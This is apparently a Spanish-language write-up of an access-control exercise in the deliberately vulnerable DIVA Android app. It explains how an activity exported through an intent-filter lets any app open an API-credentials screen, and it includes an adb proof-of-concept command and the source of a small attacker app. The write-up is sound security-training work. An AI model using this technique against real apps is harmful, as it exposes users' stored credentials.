9- Access Control Issues - Part 1

package jakhar.aseem.diva;
import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.view.View;
import android.widget.Toast;
/* JADX INFO: loaded from: classes.dex */
public class AccessControl1Activity extends AppCompatActivity {
@Override // android.support.v7.app.AppCompatActivity, android.support.v4.app.FragmentActivity, android.support.v4.app.BaseFragmentActivityDonut, android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_access_control1);
}
public void viewAPICredentials(View view) {
Intent i = new Intent();
i.setAction("jakhar.aseem.diva.action.VIEW_CREDS");
if (i.resolveActivity(getPackageManager()) != null) {
startActivity(i);
} else {
Toast.makeText(this, "Error while getting API details", 0).show();
Log.e("Diva-aci1", "Couldn't resolve the Intent VIEW_CREDS to our activity");
}
}
}Para saber lo que esta ocurriendo aquí hay que definir varias cosas
Un Intent es un objeto de mensajería en Android que describe una operación que se quiere realizar, o un evento que ocurrió, y sirve para comunicar componentes entre sí (dentro de la misma app o entre apps distintas).
Intent i = new Intent();Se usa para actividades, servicios, broadcast ...
En este caso se usa para llamar un action: una única pantalla con interfaz de usuario.
i.setAction("jakhar.aseem.diva.action.VIEW_CREDS");Pero la vulnerabilidad no está en el código, la vuln está en el AndroidManifest.xml
<activity
android:label="@string/apic_label"
android:name="jakhar.aseem.diva.APICredsActivity">
<intent-filter>
<action android:name="jakhar.aseem.diva.action.VIEW_CREDS"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>SI se declara una activity con <intent-filter></intent-filter> y no se indica exported="false" entonces cualquier app puede usar esa action
La POC sería esta :
adb shell am start -a jakhar.aseem.diva.action.VIEW_CREDSY directamente se nos abre la actividad

Y también podemos hacernos un APP maliciosa
package com.attacker.poc;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent i = new Intent();
i.setAction("jakhar.aseem.diva.action.VIEW_CREDS");
startActivity(i);
}
}Lo único que necesitamos saber es el string jakhar.aseem.diva.action.VIEW_CREDS que lo podemos sacar directamente del APK descompilado.